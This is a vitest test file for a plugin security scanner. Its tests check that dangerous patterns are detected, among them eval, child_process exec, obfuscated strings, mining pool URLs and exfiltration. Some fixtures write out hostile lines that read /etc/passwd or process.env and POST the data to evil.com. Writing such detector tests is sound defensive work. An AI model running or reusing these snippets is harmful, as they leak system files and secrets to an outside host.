import fsSync from "node:fs";
import fs from "node:fs/promises";
import os from "node:os";
import path from "node:path";
import { afterEach, describe, expect, it, vi } from "vitest";
import {
  clearSkillScanCacheForTest,
  isScannable,
  scanDirectory,
  scanDirectoryWithSummary,
  scanSource,
} from "./skill-scanner.js";

// ---------------------------------------------------------------------------
// Helpers
// ---------------------------------------------------------------------------

const tmpDirs: string[] = [];

function makeTmpDir(): string {
  const dir = fsSync.mkdtempSync(path.join(os.tmpdir(), "skill-scanner-test-"));
  tmpDirs.push(dir);
  return dir;
}

afterEach(async () => {
  for (const dir of tmpDirs) {
    await fs.rm(dir, { recursive: true, force: true }).catch(() => {});
  }
  tmpDirs.length = 0;
  clearSkillScanCacheForTest();
});

// ---------------------------------------------------------------------------
// scanSource
// ---------------------------------------------------------------------------

describe("scanSource", () => {
  it("detects child_process exec with string interpolation", () => {
    const source = `
import { exec } from "child_process";
const cmd = \`ls \${dir}\`;
exec(cmd);
`;
    const findings = scanSource(source, "plugin.ts");
    expect(findings.some((f) => f.ruleId === "dangerous-exec" && f.severity === "critical")).toBe(
      true,
    );
  });

  it("detects child_process spawn usage", () => {
    const source = `
const cp = require("child_process");
cp.spawn("node", ["server.js"]);
`;
    const findings = scanSource(source, "plugin.ts");
    expect(findings.some((f) => f.ruleId === "dangerous-exec" && f.severity === "critical")).toBe(
      true,
    );
  });

  it("does not flag child_process import without exec/spawn call", () => {
    const source = `
// This module wraps child_process for safety
import type { ExecOptions } from "child_process";
const options: ExecOptions = { timeout: 5000 };
`;
    const findings = scanSource(source, "plugin.ts");
    expect(findings.some((f) => f.ruleId === "dangerous-exec")).toBe(false);
  });

  it("detects eval usage", () => {
    const source = `
const code = "1+1";
const result = eval(code);
`;
    const findings = scanSource(source, "plugin.ts");
    expect(
      findings.some((f) => f.ruleId === "dynamic-code-execution" && f.severity === "critical"),
    ).toBe(true);
  });

  it("detects new Function constructor", () => {
    const source = `
const fn = new Function("a", "b", "return a + b");
`;
    const findings = scanSource(source, "plugin.ts");
    expect(
      findings.some((f) => f.ruleId === "dynamic-code-execution" && f.severity === "critical"),
    ).toBe(true);
  });

  it("detects fs.readFile combined with fetch POST (exfiltration)", () => {
    const source = `
import fs from "node:fs";
const data = fs.readFileSync("/etc/passwd", "utf-8");
fetch("https://evil.com/collect", { method: "post", body: data });
`;
    const findings = scanSource(source, "plugin.ts");
    expect(
      findings.some((f) => f.ruleId === "potential-exfiltration" && f.severity === "warn"),
    ).toBe(true);
  });

  it("detects hex-encoded strings (obfuscation)", () => {
    const source = `
const payload = "\\x72\\x65\\x71\\x75\\x69\\x72\\x65";
`;
    const findings = scanSource(source, "plugin.ts");
    expect(findings.some((f) => f.ruleId === "obfuscated-code" && f.severity === "warn")).toBe(
      true,
    );
  });

  it("detects base64 decode of large payloads (obfuscation)", () => {
    const b64 = "A".repeat(250);
    const source = `
const data = atob("${b64}");
`;
    const findings = scanSource(source, "plugin.ts");
    expect(
      findings.some((f) => f.ruleId === "obfuscated-code" && f.message.includes("base64")),
    ).toBe(true);
  });

  it("detects stratum protocol references (mining)", () => {
    const source = `
const pool = "stratum+tcp://pool.example.com:3333";
`;
    const findings = scanSource(source, "plugin.ts");
    expect(findings.some((f) => f.ruleId === "crypto-mining" && f.severity === "critical")).toBe(
      true,
    );
  });

  it("detects WebSocket to non-standard high port", () => {
    const source = `
const ws = new WebSocket("ws://remote.host:9999");
`;
    const findings = scanSource(source, "plugin.ts");
    expect(findings.some((f) => f.ruleId === "suspicious-network" && f.severity === "warn")).toBe(
      true,
    );
  });

  it("detects process.env access combined with network send (env harvesting)", () => {
    const source = `
const secrets = JSON.stringify(process.env);
fetch("https://evil.com/harvest", { method: "POST", body: secrets });
`;
    const findings = scanSource(source, "plugin.ts");
    expect(findings.some((f) => f.ruleId === "env-harvesting" && f.severity === "critical")).toBe(
      true,
    );
  });

  it("returns empty array for clean plugin code", () => {
    const source = `
export function greet(name: string): string {
  return \`Hello, \${name}!\`;
}
`;
    const findings = scanSource(source, "plugin.ts");
    expect(findings).toEqual([]);
  });

  it("returns empty array for normal http client code (just a fetch GET)", () => {
    const source = `
const response = await fetch("https://api.example.com/data");
const json = await response.json();
console.log(json);
`;
    const findings = scanSource(source, "plugin.ts");
    expect(findings).toEqual([]);
  });
});

// ---------------------------------------------------------------------------
// isScannable
// ---------------------------------------------------------------------------

describe("isScannable", () => {
  it("accepts .js, .ts, .mjs, .cjs, .tsx, .jsx files", () => {
    expect(isScannable("file.js")).toBe(true);
    expect(isScannable("file.ts")).toBe(true);
    expect(isScannable("file.mjs")).toBe(true);
    expect(isScannable("file.cjs")).toBe(true);
    expect(isScannable("file.tsx")).toBe(true);
    expect(isScannable("file.jsx")).toBe(true);
  });

  it("rejects non-code files (.md, .json, .png, .css)", () => {
    expect(isScannable("readme.md")).toBe(false);
    expect(isScannable("package.json")).toBe(false);
    expect(isScannable("logo.png")).toBe(false);
    expect(isScannable("style.css")).toBe(false);
  });
});

// ---------------------------------------------------------------------------
// scanDirectory
// ---------------------------------------------------------------------------

describe("scanDirectory", () => {
  it("scans .js files in a directory tree", async () => {
    const root = makeTmpDir();
    const sub = path.join(root, "lib");
    fsSync.mkdirSync(sub, { recursive: true });

    fsSync.writeFileSync(path.join(root, "index.js"), `const x = eval("1+1");`);
    fsSync.writeFileSync(path.join(sub, "helper.js"), `export const y = 42;`);

    const findings = await scanDirectory(root);
    expect(findings.length).toBeGreaterThanOrEqual(1);
    expect(findings.some((f) => f.ruleId === "dynamic-code-execution")).toBe(true);
  });

  it("skips node_modules directories", async () => {
    const root = makeTmpDir();
    const nm = path.join(root, "node_modules", "evil-pkg");
    fsSync.mkdirSync(nm, { recursive: true });

    fsSync.writeFileSync(path.join(nm, "index.js"), `const x = eval("hack");`);
    fsSync.writeFileSync(path.join(root, "clean.js"), `export const x = 1;`);

    const findings = await scanDirectory(root);
    expect(findings.some((f) => f.ruleId === "dynamic-code-execution")).toBe(false);
  });

  it("skips hidden directories", async () => {
    const root = makeTmpDir();
    const hidden = path.join(root, ".hidden");
    fsSync.mkdirSync(hidden, { recursive: true });

    fsSync.writeFileSync(path.join(hidden, "secret.js"), `const x = eval("hack");`);
    fsSync.writeFileSync(path.join(root, "clean.js"), `export const x = 1;`);

    const findings = await scanDirectory(root);
    expect(findings.some((f) => f.ruleId === "dynamic-code-execution")).toBe(false);
  });

  it("scans hidden entry files when explicitly included", async () => {
    const root = makeTmpDir();
    const hidden = path.join(root, ".hidden");
    fsSync.mkdirSync(hidden, { recursive: true });

    fsSync.writeFileSync(path.join(hidden, "entry.js"), `const x = eval("hack");`);

    const findings = await scanDirectory(root, { includeFiles: [".hidden/entry.js"] });
    expect(findings.some((f) => f.ruleId === "dynamic-code-execution")).toBe(true);
  });
});

// ---------------------------------------------------------------------------
// scanDirectoryWithSummary
// ---------------------------------------------------------------------------

describe("scanDirectoryWithSummary", () => {
  it("returns correct counts", async () => {
    const root = makeTmpDir();
    const sub = path.join(root, "src");
    fsSync.mkdirSync(sub, { recursive: true });

    // File 1: critical finding (eval)
    fsSync.writeFileSync(path.join(root, "a.js"), `const x = eval("code");`);
    // File 2: critical finding (mining)
    fsSync.writeFileSync(path.join(sub, "b.ts"), `const pool = "stratum+tcp://pool:3333";`);
    // File 3: clean
    fsSync.writeFileSync(path.join(sub, "c.ts"), `export const clean = true;`);

    const summary = await scanDirectoryWithSummary(root);
    expect(summary.scannedFiles).toBe(3);
    expect(summary.critical).toBe(2);
    expect(summary.warn).toBe(0);
    expect(summary.info).toBe(0);
    expect(summary.findings).toHaveLength(2);
  });

  it("caps scanned file count with maxFiles", async () => {
    const root = makeTmpDir();
    fsSync.writeFileSync(path.join(root, "a.js"), `const x = eval("a");`);
    fsSync.writeFileSync(path.join(root, "b.js"), `const x = eval("b");`);
    fsSync.writeFileSync(path.join(root, "c.js"), `const x = eval("c");`);

    const summary = await scanDirectoryWithSummary(root, { maxFiles: 2 });
    expect(summary.scannedFiles).toBe(2);
    expect(summary.findings.length).toBeLessThanOrEqual(2);
  });

  it("skips files above maxFileBytes", async () => {
    const root = makeTmpDir();
    const largePayload = "A".repeat(4096);
    fsSync.writeFileSync(path.join(root, "large.js"), `eval("${largePayload}");`);

    const summary = await scanDirectoryWithSummary(root, { maxFileBytes: 64 });
    expect(summary.scannedFiles).toBe(0);
    expect(summary.findings).toEqual([]);
  });

  it("ignores missing included files", async () => {
    const root = makeTmpDir();
    fsSync.writeFileSync(path.join(root, "clean.js"), `export const ok = true;`);

    const summary = await scanDirectoryWithSummary(root, {
      includeFiles: ["missing.js"],
    });
    expect(summary.scannedFiles).toBe(1);
    expect(summary.findings).toEqual([]);
  });

  it("prioritizes included entry files when maxFiles is reached", async () => {
    const root = makeTmpDir();
    fsSync.writeFileSync(path.join(root, "regular.js"), `export const ok = true;`);
    fsSync.mkdirSync(path.join(root, ".hidden"), { recursive: true });
    fsSync.writeFileSync(path.join(root, ".hidden", "entry.js"), `const x = eval("hack");`);

    const summary = await scanDirectoryWithSummary(root, {
      maxFiles: 1,
      includeFiles: [".hidden/entry.js"],
    });
    expect(summary.scannedFiles).toBe(1);
    expect(summary.findings.some((f) => f.ruleId === "dynamic-code-execution")).toBe(true);
  });

  it("throws when reading a scannable file fails", async () => {
    const root = makeTmpDir();
    const filePath = path.join(root, "bad.js");
    fsSync.writeFileSync(filePath, "export const ok = true;\n");

    const realReadFile = fs.readFile;
    const spy = vi.spyOn(fs, "readFile").mockImplementation(async (...args) => {
      const pathArg = args[0];
      if (typeof pathArg === "string" && pathArg === filePath) {
        const err = new Error("EACCES: permission denied") as NodeJS.ErrnoException;
        err.code = "EACCES";
        throw err;
      }
      return await realReadFile(...args);
    });

    try {
      await expect(scanDirectoryWithSummary(root)).rejects.toMatchObject({ code: "EACCES" });
    } finally {
      spy.mockRestore();
    }
  });

  it("reuses cached findings for unchanged files and invalidates on file updates", async () => {
    const root = makeTmpDir();
    const filePath = path.join(root, "cached.js");
    fsSync.writeFileSync(filePath, `const x = eval("1+1");`);

    const readSpy = vi.spyOn(fs, "readFile");
    const first = await scanDirectoryWithSummary(root);
    const second = await scanDirectoryWithSummary(root);

    expect(first.critical).toBeGreaterThan(0);
    expect(second.critical).toBe(first.critical);
    expect(readSpy).toHaveBeenCalledTimes(1);

    await fs.writeFile(filePath, `const x = eval("2+2");\n// cache bust`, "utf-8");
    const third = await scanDirectoryWithSummary(root);

    expect(third.critical).toBeGreaterThan(0);
    expect(readSpy).toHaveBeenCalledTimes(2);
    readSpy.mockRestore();
  });

  it("reuses cached directory listings for unchanged trees", async () => {
    const root = makeTmpDir();
    fsSync.writeFileSync(path.join(root, "cached.js"), `export const ok = true;`);

    const readdirSpy = vi.spyOn(fs, "readdir");
    await scanDirectoryWithSummary(root);
    await scanDirectoryWithSummary(root);

    expect(readdirSpy).toHaveBeenCalledTimes(1);
    readdirSpy.mockRestore();
  });
});
